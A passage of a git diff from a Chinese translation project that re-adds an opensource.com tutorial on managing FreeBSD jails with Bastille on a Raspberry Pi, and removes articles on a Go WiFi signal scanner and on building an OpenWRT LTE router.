bastille_enable="YES"` -``` - -Start with a simple use case. Many people use containers to install different development tools in different containers to avoid conflicts or simplify their environments. For example, no sane person wants to install Python 2 on a brand-new system—but you might need to run an ancient script every once in a while. So, create a jail for Python 2. - -Before creating your first jail, you need to bootstrap a FreeBSD release and configure networking. Just make sure that you bootstrap the same or an older release than the host is running. For example: - - -``` -`bastille bootstrap 12.2-RELEASE` -``` - -It downloads and extracts this release under the `/usr/local/bastille` directory structure. - -Networking can be configured in many different ways using Bastille. One option that works everywhere—on your local machine and in the cloud—is using cloned interfaces. This allows jails to use an internal network that does not interfere with the external network. Configure and start this internal network: - - -``` -sysrc cloned_interfaces+=lo1 -sysrc ifconfig_lo1_name="bastille0" -service netif cloneup -``` - -With this network setup, services in your jails are not accessible from the outside network, nor can they reach outside. You need forward ports from your host's external interface to the jails and to enable network access translation (NAT). Bastille integrates with BSD's [PF firewall][10] for this task. The following `pf.conf` configures the PF firewall such that Bastille can add port forwarding rules to the firewall dynamically: - - -``` -ext_if="ue0" - -set block-policy return -scrub in on $ext_if all fragment reassemble -set skip on lo - -table <jails> persist -nat on $ext_if from <jails> to any -> ($ext_if) - -rdr-anchor "rdr/*" - -block in all -pass out quick modulate state -antispoof for $ext_if inet -pass in inet proto tcp from any to any port ssh flags S/SA modulate state -``` - -You also need to enable and start PF for these rules to take effect. Note that if you work through an SSH connection, starting PF will terminate your connection, and you will need to log in again: - - -``` -sysrc pf_enable="YES" -service pf restart -``` - -### Create your first jail - -To create a jail, Bastille needs a few parameters. First, it needs a name for the jail you're creating. It is an important parameter, as you will always refer to a jail by its name. I chose the name of the most famous Hungarian jail for the most elite criminals, but in real life, jail names often refer to the jail's function, like `syslogserver`. You also need to set the FreeBSD release you're using and an internet protocol (IP) address. I used a random `10.0.0.0/8` IP address range, but if your internal network already uses addresses from that, then using the `192.168.0.0/16` is probably a better idea: - - -``` -`bastille create csillag 12.2-RELEASE 10.17.89.51` -``` - -Your new jail should be up and running within a few seconds. It is a complete FreeBSD base system without any extra packages. So install some packages, like my favorite text editor, inside the jail: - - -``` -root@generic:~ # bastille pkg csillag install joe -[csillag]: -Updating FreeBSD repository catalogue... -FreeBSD repository is up to date. -All repositories are up to date. -The following 1 package(s) will be affected (of 0 checked): - -New packages to be INSTALLED: -        joe: 4.6,1 - -Number of packages to be installed: 1 - -The process will require 2 MiB more space. -442 KiB to be downloaded. - -Proceed with this action? [y/N]: y -[csillag] [1/1] Fetching joe-4.6,1.txz: 100%  442 KiB 452.5kB/s    00:01     -Checking integrity... done (0 conflicting) -[csillag] [1/1] Installing joe-4.6,1... -[csillag] [1/1] Extracting joe-4.6,1: 100% -``` - -You can install multiple packages at the same time. Install Python 2, Bash, and Git: - - -``` -`bastille pkg csillag install bash python2 git` -``` - -Now you can start working in your new, freshly created jail. There are no network services installed in it, but you can reach it through its console: - - -``` -root@generic:~ # bastille console csillag -[csillag]: -root@csillag:~ # python2 -Python 2.7.18 (default, Feb  2 2021, 01:53:44) -[GCC FreeBSD Clang 10.0.1 ([git@github.com][11]:llvm/llvm-project.git llvmorg-10.0.1- on freebsd12 -Type "help", "copyright", "credits" or "license" for more information. ->>> -root@csillag:~ # logout - -root@generic:~ # -``` - -### Work with templates - -The previous example manually installed some packages inside a jail. Setting up jails manually is no fun, even if Bastille makes it easy. Templates make the process even easier; they are similar to Dockerfiles but not entirely the same concept. You bootstrap templates for Bastille just like FreeBSD releases and then apply them to jails. When you apply a template, it will install the necessary packages and change configurations as needed. - -To use templates, you need to install Git on the host: - - -``` -`pkg install git` -``` - -For example, to bootstrap the `syslog-ng` template, use: - - -``` -`bastille bootstrap https://gitlab.com/BastilleBSD-Templates/syslog-ng` -``` - -Create a new jail, apply the template, and redirect an external port to it: - - -``` -bastille create alcatraz 12.2-RELEASE 10.17.89.50 -bastille template alcatraz BastilleBSD-Templates/syslog-ng -bastille rdr alcatraz tcp 514 514 -``` - -To test the new service within the jail, use telnet to connect port 514 of your host and enter some random text. Use the `tail` command within your jail to see what you just entered: - - -``` -root@generic:~ # tail /usr/local/bastille/jails/alcatraz/root/var/log/messages -Feb  6 03:57:27 alcatraz sendmail[3594]: gethostbyaddr(10.17.89.50) failed: 1 -Feb  6 04:07:13 alcatraz syslog-ng[1186]: Syslog connection accepted; fd='23', client='AF_INET(192.168.1.126:50104)', local='AF_INET(0.0.0.0:514)' -Feb  6 04:07:18 192.168.1.126 this is a test -Feb  6 04:07:20 alcatraz syslog-ng[1186]: Syslog connection closed; fd='23', client='AF_INET(192.168.1.126:50104)', local='AF_INET(0.0.0.0:514)' -``` - -Since I'm a [syslog-ng][12] evangelist, I used the syslog-ng template in my example, but there are many more available. Check the full list of [Bastille templates][13] to learn about them. - -### What's next? - -I hope that this article inspires you to try FreeBSD and Bastille on your Raspberry Pi. It was just enough information to get you started; to learn about all of Bastille's cool features—like auditing your jails for vulnerabilities and updating software within them—in the [documentation][14]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/bastille-raspberry-pi - -作者:[Peter Czanik][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/czanik -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) -[2]: https://opensource.com/article/18/1/history-low-level-container-runtimes -[3]: https://docs.freebsd.org/en/books/handbook/jails/ -[4]: https://opensource.com/article/18/11/behind-scenes-linux-containers -[5]: https://opensource.com/article/18/10/podman-more-secure-way-run-containers -[6]: https://bastillebsd.org/ -[7]: https://www.freebsd.org/ports/ -[8]: https://opensource.com/article/19/3/netbsd-raspberry-pi -[9]: https://www.freebsd.org/where/ -[10]: https://en.wikipedia.org/wiki/PF_(firewall) -[11]: mailto:git@github.com -[12]: https://www.syslog-ng.com/ -[13]: https://gitlab.com/BastilleBSD-Templates/ -[14]: https://bastille.readthedocs.io/en/latest/ diff --git a/sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md b/sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md new file mode 100644 index 0000000000..1b7ebb7bfe --- /dev/null +++ b/sources/tech/20210306 Use FreeBSD jails on Raspberry Pi.md @@ -0,0 +1,268 @@ +[#]: subject: "Use FreeBSD jails on Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/bastille-raspberry-pi" +[#]: author: "Peter Czanik https://opensource.com/users/czanik" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Use FreeBSD jails on Raspberry Pi +====== +Create and maintain your containers (aka jails) at scale on FreeBSD with Bastille. + +![Parts, modules, containers for software][1] + +Image by: Opensource.com + +Containers became widely popular because of Docker on Linux, but there are [much earlier implementations][2], including the [jail][3] system on FreeBSD. A container is called a "jail" in FreeBSD terminology. The jail system was first released in FreeBSD 4.0 way back in 2000, and it has continuously improved since. While 20 years ago it was used mostly on large servers, now you can run it on your Raspberry Pi. + +### Jails vs. containers on Linux + +Container development took a very different path on FreeBSD than on Linux. On FreeBSD, containerization was developed as a strict security feature in the late '90s for virtual hosting and its flexibility grew over the years. Limiting a container's computing resources was not part of the original concept; this was added later. + +When I started to use jails in production in 2001, it was quite painful. I had to prepare my own scripts to automate working with them. + +On the Linux side, there were quite a few attempts at containerization, including [lxc][4]. + +Docker brought popularity, accessibility, and ease of use to containers. There are now many other tools on Linux (for example, I prefer to use [Podman on my laptop][5]). And Kubernetes allows you to work with containers at really large scale. + +[Bastille][6] is one of several tools available in [FreeBSD ports][7] to manage jails. It is comparable to Docker or Podman and allows you to create and maintain jails at scale instead of manually. It has a template system to automatically install and configure applications within jails, similar to Dockerfile. It also supports advanced FreeBSD functionality, like ZFS or VNET. + +### Install FreeBSD on Raspberry Pi + +Installing [BSD on Raspberry Pi][8] is pretty similar to installing Linux. You download a compressed image from the FreeBSD website and `dd` it to an SD card. You can also use a dedicated image writer tool; there are many available for all operating systems (OS). Download and write an image from the command line with: + +``` +wget https://download.freebsd.org/ftp/releases/arm64/aarch64/ISO-IMAGES/13.0/FreeBSD-13.0-BETA1-arm64-aarch64-RPI.img.xz +xzcat FreeBSD-13.0-BETA1-arm64-aarch64-RPI.img.xz | dd of=/dev/XXX +``` + +That writes the latest beta image available for 64-bit Raspberry Pi boards; check the [download page][9] if you use another Raspberry Pi board or want to use another build. Replace `XXX` with your SD card's device name, which depends on your OS and how the card connects to your machine. I purposefully did not use a device name so that you won't overwrite anything if you just copy and paste the instructions mindlessly. I did that and was lucky to have a recent backup of my laptop, but it was *not* a pleasant experience. + +Once you've written the SD card, put it in your Raspberry Pi and boot it. The first boot takes a bit longer than usual; I suspect the partition sizes are being adjusted to the SD card's size. After a while, you will receive the familiar login prompt on a good old text-based screen. The username is **root**, and the password is the same as the user name. The SSH server is enabled by default, but don't worry; the root user cannot log in. It is still a good idea to change the password to something else. The network is automatically configured by DHCP for the Ethernet connection (I did not test WiFi). + +The easiest way to configure Bastille on the system is to SSH into Raspberry Pi and copy and paste the commands and configuration in this article. You have a couple of options, depending on how much you care about industry best practices or are willing to treat it as a test system. You can either enable root login in the SSHD configuration (scary, but this is what I did at first) or create a regular user that can log in remotely. In the latter case, make sure that the user is part of the "wheel" group so that it can use `su -` to become root and use Bastille: + +``` +root@generic:~ # adduser +Username: czanik +Full name: Peter Czanik +Uid (Leave empty for default): +Login group [czanik]: +Login group is czanik. Invite czanik into other groups? []: wheel +Login class [default]: +Shell (sh csh tcsh bash rbash git-shell nologin) [sh]: bash +Home directory [/home/czanik]: +Home directory permissions (Leave empty for default): +Use password-based authentication? [yes]: +Use an empty password? (yes/no) [no]: +Use a random password? (yes/no) [no]: +Enter password: +Enter password again: +Lock out the account after creation? [no]: +Username   : czanik +Password   : ***** +Full Name  : Peter Czanik +Uid        : 1002 +Class      : +Groups     : czanik wheel +Home       : /home/czanik +Home Mode  : +Shell      : /usr/local/bin/bash +Locked     : no +OK? (yes/no): yes +adduser: INFO: Successfully added (czanik) to the user database. +Add another user? (yes/no): no +Goodbye! +``` + +The fifth line adds the user to the wheel group. Note that you might have a different list of shells on your system, and Bash is not part of the base system. Install Bash before adding the user: + +``` +pkg install bash +``` + +PKG needs to bootstrap itself on the first run, so invoking the command takes a bit longer this time. + +### Get started with Bastille + +Managing jails with the tools in the FreeBSD base system is possible—but not really convenient. Using a tool like Bastille can simplify it considerably. It is not part of the base system, so install it: + +``` +pkg install bastille +``` + +As you can see from the command's output, Bastille has no external dependencies. It is a shell script that relies on commands in the FreeBSD base system (with an exception I'll note later when explaining templates). + +If you want to start your containers on boot, enable Bastille: + +``` +sysrc bastille_enable="YES" +``` + +Start with a simple use case. Many people use containers to install different development tools in different containers to avoid conflicts or simplify their environments. For example, no sane person wants to install Python 2 on a brand-new system—but you might need to run an ancient script every once in a while. So, create a jail for Python 2. + +Before creating your first jail, you need to bootstrap a FreeBSD release and configure networking. Just make sure that you bootstrap the same or an older release than the host is running. For example: + +``` +bastille bootstrap 12.2-RELEASE +``` + +It downloads and extracts this release under the `/usr/local/bastille` directory structure. + +Networking can be configured in many different ways using Bastille. One option that works everywhere—on your local machine and in the cloud—is using cloned interfaces. This allows jails to use an internal network that does not interfere with the external network. Configure and start this internal network: + +``` +sysrc cloned_interfaces+=lo1 +sysrc ifconfig_lo1_name="bastille0" +service netif cloneup +``` + +With this network setup, services in your jails are not accessible from the outside network, nor can they reach outside. You need forward ports from your host's external interface to the jails and to enable network access translation (NAT). Bastille integrates with BSD's [PF firewall][10] for this task. The following `pf.conf` configures the PF firewall such that Bastille can add port forwarding rules to the firewall dynamically: + +``` +ext_if="ue0" + +set block-policy return +scrub in on $ext_if all fragment reassemble +set skip on lo + +table persist +nat on $ext_if from to any -> ($ext_if) + +rdr-anchor "rdr/*" + +block in all +pass out quick modulate state +antispoof for $ext_if inet +pass in inet proto tcp from any to any port ssh flags S/SA modulate state +``` + +You also need to enable and start PF for these rules to take effect. Note that if you work through an SSH connection, starting PF will terminate your connection, and you will need to log in again: + +``` +sysrc pf_enable="YES" +service pf restart +``` + +### Create your first jail + +To create a jail, Bastille needs a few parameters. First, it needs a name for the jail you're creating. It is an important parameter, as you will always refer to a jail by its name. I chose the name of the most famous Hungarian jail for the most elite criminals, but in real life, jail names often refer to the jail's function, like `syslogserver`. You also need to set the FreeBSD release you're using and an internet protocol (IP) address. I used a random `10.0.0.0/8` IP address range, but if your internal network already uses addresses from that, then using the `192.168.0.0/16` is probably a better idea: + +``` +bastille create csillag 12.2-RELEASE 10.17.89.51 +``` + +Your new jail should be up and running within a few seconds. It is a complete FreeBSD base system without any extra packages. So install some packages, like my favorite text editor, inside the jail: + +``` +root@generic:~ # bastille pkg csillag install joe +[csillag]: +Updating FreeBSD repository catalogue... +FreeBSD repository is up to date. +All repositories are up to date. +The following 1 package(s) will be affected (of 0 checked): + +New packages to be INSTALLED: +        joe: 4.6,1 + +Number of packages to be installed: 1 + +The process will require 2 MiB more space. +442 KiB to be downloaded. + +Proceed with this action? [y/N]: y +[csillag] [1/1] Fetching joe-4.6,1.txz: 100%  442 KiB 452.5kB/s    00:01     +Checking integrity... done (0 conflicting) +[csillag] [1/1] Installing joe-4.6,1... +[csillag] [1/1] Extracting joe-4.6,1: 100% +``` + +You can install multiple packages at the same time. Install Python 2, Bash, and Git: + +``` +bastille pkg csillag install bash python2 git +``` + +Now you can start working in your new, freshly created jail. There are no network services installed in it, but you can reach it through its console: + +``` +root@generic:~ # bastille console csillag +[csillag]: +root@csillag:~ # python2 +Python 2.7.18 (default, Feb  2 2021, 01:53:44) +[GCC FreeBSD Clang 10.0.1 (git@github.com:llvm/llvm-project.git llvmorg-10.0.1- on freebsd12 +Type "help", "copyright", "credits" or "license" for more information. +>>> +root@csillag:~ # logout + +root@generic:~ # +``` + +### Work with templates + +The previous example manually installed some packages inside a jail. Setting up jails manually is no fun, even if Bastille makes it easy. Templates make the process even easier; they are similar to Dockerfiles but not entirely the same concept. You bootstrap templates for Bastille just like FreeBSD releases and then apply them to jails. When you apply a template, it will install the necessary packages and change configurations as needed. + +To use templates, you need to install Git on the host: + +``` +pkg install git +``` + +For example, to bootstrap the `syslog-ng` template, use: + +``` +bastille bootstrap https://gitlab.com/BastilleBSD-Templates/syslog-ng +``` + +Create a new jail, apply the template, and redirect an external port to it: + +``` +bastille create alcatraz 12.2-RELEASE 10.17.89.50 +bastille template alcatraz BastilleBSD-Templates/syslog-ng +bastille rdr alcatraz tcp 514 514 +``` + +To test the new service within the jail, use telnet to connect port 514 of your host and enter some random text. Use the `tail` command within your jail to see what you just entered: + +``` +root@generic:~ # tail /usr/local/bastille/jails/alcatraz/root/var/log/messages +Feb  6 03:57:27 alcatraz sendmail[3594]: gethostbyaddr(10.17.89.50) failed: 1 +Feb  6 04:07:13 alcatraz syslog-ng[1186]: Syslog connection accepted; fd='23', client='AF_INET(192.168.1.126:50104)', local='AF_INET(0.0.0.0:514)' +Feb  6 04:07:18 192.168.1.126 this is a test +Feb  6 04:07:20 alcatraz syslog-ng[1186]: Syslog connection closed; fd='23', client='AF_INET(192.168.1.126:50104)', local='AF_INET(0.0.0.0:514)' +``` + +Since I'm a [syslog-ng][11] evangelist, I used the syslog-ng template in my example, but there are many more available. Check the full list of [Bastille templates][12] to learn about them. + +### What's next? + +I hope that this article inspires you to try FreeBSD and Bastille on your Raspberry Pi. It was just enough information to get you started; to learn about all of Bastille's cool features—like auditing your jails for vulnerabilities and updating software within them—in the [documentation][13]. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/bastille-raspberry-pi + +作者:[Peter Czanik][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/czanik +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/containers_modules_networking_hardware_parts.png +[2]: https://opensource.com/article/18/1/history-low-level-container-runtimes +[3]: https://docs.freebsd.org/en/books/handbook/jails/ +[4]: https://opensource.com/article/18/11/behind-scenes-linux-containers +[5]: https://opensource.com/article/18/10/podman-more-secure-way-run-containers +[6]: https://bastillebsd.org/ +[7]: https://www.freebsd.org/ports/ +[8]: https://opensource.com/article/19/3/netbsd-raspberry-pi +[9]: https://www.freebsd.org/where/ +[10]: https://en.wikipedia.org/wiki/PF_(firewall) +[11]: https://www.syslog-ng.com/ +[12]: https://gitlab.com/BastilleBSD-Templates/ +[13]: https://bastille.readthedocs.io/en/latest/ diff --git a/sources/tech/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md b/sources/tech/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md deleted file mode 100644 index 0ad80d4423..0000000000 --- a/sources/tech/20210310 Troubleshoot WiFi problems with Go and a Raspberry Pi.md +++ /dev/null @@ -1,212 +0,0 @@ -[#]: subject: (Troubleshoot WiFi problems with Go and a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi) -[#]: author: (Chris Collins https://opensource.com/users/clcollins) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Troubleshoot WiFi problems with Go and a Raspberry Pi -====== -Build a WiFi scanner for fun. -![Selfcare, drinking tea on the porch][1] - -Last summer, my wife and I sold everything we owned and moved with our two dogs to Hawaii. It's been everything we thought it would be: beautiful sun, warm sand, cool surf—you name it. We've also run into some things we didn't expect: WiFi problems. - -Now, that's not a Hawaii problem. It's limited to the apartment we are renting. We are living in a single-room studio apartment attached to our landlord's apartment. Part of the rent includes free internet! YAY! However, said internet is provided by the WiFi router in the landlord's apartment. BOO! - -In all honesty, it works OK. Ish. OK, it doesn't work well, and I'm not sure why. The router is literally on the other side of the wall, but our signal is spotty, and we have some trouble staying connected. Back home, our WiFi router's signal crossed through many walls and some floors. Certainly, it covered an area larger than the 600 sq. foot apartment we live in! - -What does a good techie do in such a situation? Why, investigate, of course! - -Luckily the "everything we own" that we sold before moving here did not include our Raspberry Pi Zero W. So small! So portable! Of course, I took it to Hawaii with me. My bright idea was to use the Pi and its built-in WiFi adapter, write a little program in Go to measure the WiFi signal received from the router, and display that output. I'm going to make it super simple, quick, and dirty and worry later about making it better. I just want to know what's up with the WiFi, dang it! - -Hunting around on Google for a minute turns up a relatively useful Go package for working with WiFi, [mdlayher/wifi][2]. Sounds promising! - -### Getting information about the WiFi interfaces - -My plan is to query the WiFi interface statistics and return the signal strength, so I need to find the interfaces on the device. Luckily the mdlayher/wifi package has a method to query them, so I can do that by creating a file named `main.go`: - - -``` -package main - -import ( -        "fmt" - -        "github.com/mdlayher/wifi" -) - -func main() { - -        c, err := wifi.New() -        defer c.Close() - -        if err != nil { -                panic(err) -        } - -        interfaces, err := c.Interfaces() - -        for _, x := range interfaces { -                fmt.Printf("%+v\n", x) -        } - -} -``` - -So, what's going on here? After importing it, the mdlayher/wifi module can be used in the main function to create a new Client (type `*Client`). The new client (named `c`) can then get a list of the interfaces on the system with `c.Interfaces()`. Then it can loop over the slice of Interface pointers and print information about them. - -By adding "+" to `%+v`, it prints the names of the fields in the `*Interface` struct, too, which helps me identify what I'm seeing without having to refer back to documentation. - -Running the code above provides a list of the WiFi interfaces on my machine: - - -``` -&{Index:0 Name: HardwareAddr:5c:5f:67:f3:0a:a7 PHY:0 Device:3 Type:P2P device Frequency:0} -&{Index:3 Name:wlp2s0 HardwareAddr:5c:5f:67:f3:0a:a7 PHY:0 Device:1 Type:station Frequency:2412} -``` - -Note that the MAC address, `HardwareAddr`, is the same for both lines, meaning this is the same physical hardware. This is confirmed by `PHY: 0`. The Go [wifi module's docs][3] note that `PHY` is the physical device to which the interface belongs. - -The first interface has no name and is `TYPE:P2P`. The second, named `wpl2s0` is `TYPE:Station`. The wifi module documentation lists the [different types of interfaces][4] and describes what they are. According to the docs, the "P2P" type indicates "an interface is a device within a peer-to-peer client network." I believe, and please correct me in the comments if I'm wrong, that this interface is for [WiFi Direct][5], a standard for allowing two WiFi devices to connect without an intermediate access point. - -The "Station" type indicates "an interface is part of a managed basic service set (BSS) of client devices with a controlling access point." This is the standard function for a wireless device that most people are used to—as a client connected to an access point. This is the interface that matters for testing the quality of the WiFi. - -### Getting the Station information from the interface - -Using this information, I can update the loop over the interfaces to retrieve the information I'm looking for: - - -``` -        for _, x := range interfaces { -                if x.Type == wifi.InterfaceTypeStation { -                        // c.StationInfo(x) returns a slice of all -                        // the staton information about the interface -                        info, err := c.StationInfo(x) -                        if err != nil { -                                fmt.Printf("Station err: %s\n", err) -                        } -                        for _, x := range info { -                                fmt.Printf("%+v\n", x) -                        } -                } -  } -``` - -First, it checks that `x.Type` (the Interface type) is `wifi.InterfaceTypeStation`—a Station interface (that's the only type that matters for this exercise). This is an unfortunate naming collision—the interface "type" is not a "type" in the Golang sense. In fact, what I'm working on here is a Go `type` named `InterfaceType` to represent the type of interface. Whew, that took me a minute to figure out! - -So, assuming the interface is of the _correct_ type, the station information can be retrieved with `c.StationInfo(x)` using the client `StationInfo()` method to get the info about the interface, `x`. - -This returns a slice of `*StationInfo` pointers. I'm not sure quite why there's a slice. Perhaps the interface can have multiple StationInfo responses? In any case, I can loop over the slice and use the same `+%v` trick to print the keys and values for the StationInfo struct. - -Running the above returns: - - -``` -`&{HardwareAddr:70:5a:9e:71:2e:d4 Connected:17m10s Inactive:1.579s ReceivedBytes:2458563 TransmittedBytes:1295562 ReceivedPackets:6355 TransmittedPackets:6135 ReceiveBitrate:2000000 TransmitBitrate:43300000 Signal:-79 TransmitRetries:2306 TransmitFailed:4 BeaconLoss:2}` -``` - -The thing I'm interested in is the "Signal" and possibly "TransmitFailed" and "BeaconLoss." The signal is reported in units of dBm (or decibel-milliwatts). - -#### A quick aside: How to read WiFi dBm - -According to [MetaGeek][6]: - - * –30 is the best possible signal strength—it's neither realistic nor necessary - * –67 is very good; it's for apps that need reliable packet delivery, like streaming media - * –70 is fair, the minimum reliable packet delivery, fine for email and web - * –80 is poor, absolute basic connectivity, unreliable packet delivery - * –90 is unusable, approaching the "noise floor" - - - -_Note that dBm is logarithmic scale: -60 is 1,000x lower than -30_ - -### Making this a real "scanner" - -So, looking at my signal from above: –79. YIKES, not good. But that single result is not especially helpful. That's just a point-in-time reference and only valid for the particular physical space where the WiFi network adapter was at that instant. What would be more useful would be a continuous reading, making it possible to see how the signal changes as the Raspberry Pi moves around. The main function can be tweaked again to accomplish this: - - -``` -        var i *wifi.Interface - -        for _, x := range interfaces { -                if x.Type == wifi.InterfaceTypeStation { -                        // Loop through the interfaces, and assign the station -                        // to var x -                        // We could hardcode the station by name, or index, -                        // or hardwareaddr, but this is more portable, if less efficient -                        i = x -                        break -                } -        } - -        for { -                // c.StationInfo(x) returns a slice of all -                // the staton information about the interface -                info, err := c.StationInfo(i) -                if err != nil { -                        fmt.Printf("Station err: %s\n", err) -                } - -                for _, x := range info { -                        fmt.Printf("Signal: %d\n", x.Signal) -                } - -                time.Sleep(time.Second) -        } -``` - -First, I name a variable `i` of type `*wifi.Interface`. Since it's outside the loop, I can use it to store the interface information. Any variable created inside the loop is inaccessible outside the scope of that loop. - -Then, I can break the loop into two. The first loop ranges over the interfaces returned by `c.Interfaces()`, and if that interface is a Station type, it stores that in the `i` variable created earlier and breaks out of the loop. - -The second loop is an infinite loop, so it'll just run over and over until I hit **Ctrl**+**C** to end the program. This loop takes that interface information and retrieves the station information, as before, and prints out the signal information. Then it sleeps for one second and runs again, printing the signal information over and over until I quit. - -So, running that: - - -``` -[chris@marvin wifi-monitor]$ go run main.go -Signal: -81 -Signal: -81 -Signal: -79 -Signal: -81 -``` - -Oof. Not good. - -### Mapping the apartment - -This information is good to know, at least. With an attached screen or E Ink display and a battery (or a looooong extension cable), I can walk the Pi around the apartment and map out where the dead spots are. - -Spoiler alert: With the landlord's access point in the apartment next door, the big dead spot for me is a cone shape emanating from the refrigerator in the studio apartment's kitchen area… the refrigerator that shares a wall with the landlord's apartment! - -I think in Dungeons and Dragons lingo, this is a "Cone of Silence." Or at least a "Cone of Poor Internet." - -Anyway, this code can be compiled directly on the Raspberry Pi with `go build -o wifi_scanner`, and the resulting binary, `wifi_scanner`, can be shared with any other ARM devices (of the same version). Alternatively, it can be compiled on a regular system with the right libraries for ARM devices. - -Happy Pi scanning! May your WiFi router not be behind your refrigerator! You can find the code used for this project in [my GitHub repo][7]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi - -作者:[Chris Collins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clcollins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_selfcare_wfh_porch_520.png?itok=2qXG0T7u (Selfcare, drinking tea on the porch) -[2]: https://github.com/mdlayher/wifi -[3]: https://godoc.org/github.com/mdlayher/wifi#Interface -[4]: https://godoc.org/github.com/mdlayher/wifi#InterfaceType -[5]: https://en.wikipedia.org/wiki/Wi-Fi_Direct -[6]: https://www.metageek.com/training/resources/wifi-signal-strength-basics.html -[7]: https://github.com/clcollins/goPiWiFi diff --git a/sources/tech/20210312 Build a router with mobile connectivity using Raspberry Pi.md b/sources/tech/20210312 Build a router with mobile connectivity using Raspberry Pi.md deleted file mode 100644 index 13621bbcd5..0000000000 --- a/sources/tech/20210312 Build a router with mobile connectivity using Raspberry Pi.md +++ /dev/null @@ -1,303 +0,0 @@ -[#]: subject: (Build a router with mobile connectivity using Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/router-raspberry-pi) -[#]: author: (Lukas Janėnas https://opensource.com/users/lukasjan) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Build a router with mobile connectivity using Raspberry Pi -====== -Use OpenWRT to get more control over your network's router. -![Mesh networking connected dots][1] - -The Raspberry Pi is a small, single-board computer that, despite being the size of a credit card, is capable of doing a lot of things. In reality, this little computer can be almost anything you want to be. You just need to open up your imagination. - -Raspberry Pi enthusiasts have made many different projects, from simple programs to complex automation projects and solutions like weather stations or even smart-home devices. This article will show how to turn your Raspberry Pi into a router with LTE mobile connectivity using the OpenWRT project. - -### About OpenWRT and LTE - -[OpenWRT][2] is an open source project that uses Linux to target embedded devices. It's been around for more than 15 years and has a large and active community. - -There are many ways to use OpenWRT, but its main purpose is in routers. It provides a fully writable filesystem with package management, and because it is open source, you can see and modify the code and contribute to the ecosystem. If you would like to have more control over your router, this is the system you want to use. - -Long-term evolution (LTE) is a standard for wireless broadband communication based on the GSM/EDGE and UMTS/HSPA technologies. The LTE modem I'm using is a USB device that can add 3G or 4G (LTE) cellular connectivity to a Raspberry Pi computer. - -![Teltonika TRM240 modem][3] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -### Prerequisites - -For this project, you will need: - - * A Raspberry Pi with a power cable - * A computer, preferably running Linux - * A microSD card with at least 16GB - * An Ethernet cable - * An LTE modem (I am using a Teltonika [TRM240][5]) - * A SIM card for mobile connectivity - - - -### Install OpenWRT - -To get started, download the latest [Raspberry Pi-compatible release of OpenWRT][6]. On the OpenWRT site, you see four images: two with **ext4** and two with **squashfs** filesystems. I use the **ext4** filesystem. You can download either the **factory** or **sysupgrade** image; both work great. - -![OpenWRT image files][7] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Once you download the image, you need to extract it and install it on the SD card by [following these instructions][8]. It can take some time to install the firmware, so be patient. Once it's finished, there will be two partitions on your microSD card. One is used for the bootloader and the other one for the OpenWRT system. - -### Boot up the system - -To boot up your new system, insert the microSD card into the Raspberry Pi, connect the Pi to your router (or a switch) with an Ethernet cable, and power it on. - -If you're experienced with the Raspberry Pi, you may be used to accessing it through a terminal over SSH, or just by connecting it to a monitor and keyboard. OpenWRT works a little differently. You interact with this software through a web browser, so you must be able to access your Pi over your network. - -By default, the Raspberry Pi uses this IP address: 192.168.1.1. The computer you use to configure the Pi must be on the same subnet as the Pi. If your network doesn't use 192.168.1.x addresses, or if you're unsure, open **Settings** in GNOME, navigate to network settings, select **Manual**, and enter the following IP address and Netmask: - - * **IP address:** 192.168.1.15 - * **Netmask:** 255.255.255.0 - - - -![IP addresses][9] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -Open a web browser on your computer and navigate to 192.168.1.1. This opens an authentication page so you can log in to your Pi. - -![OpenWRT login page][10] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -No password is required yet, so just click the **Login** button to continue. - -### Configure network connection - -The Raspberry Pi has only one Ethernet port, while normal routers have a couple of them: one for WAN (wired area network) and the other for LAN (local area network). You have two options: - - 1. Use your Ethernet port for network connectivity - 2. Use WiFi for network connectivity - - - -**To use Ethernet:** - -Should you decide to use Ethernet, navigate to **Network → Interfaces**. On the configuration page, press the blue **Edit** button that is associated with the **LAN** interface. - -![LAN interface][11] - -(Lukas Janenas, [CC BY-SA 4.0][4]) - -A pop-up window should appear. In that window, you need to enter the IP address to match the subnet of the router to which you will connect the Raspberry Pi. Change the Netmask, if needed, and enter the IP address of the router the Raspberry Pi will connect to. - -![Enter IP in the LAN interface][12] - -(Lukas 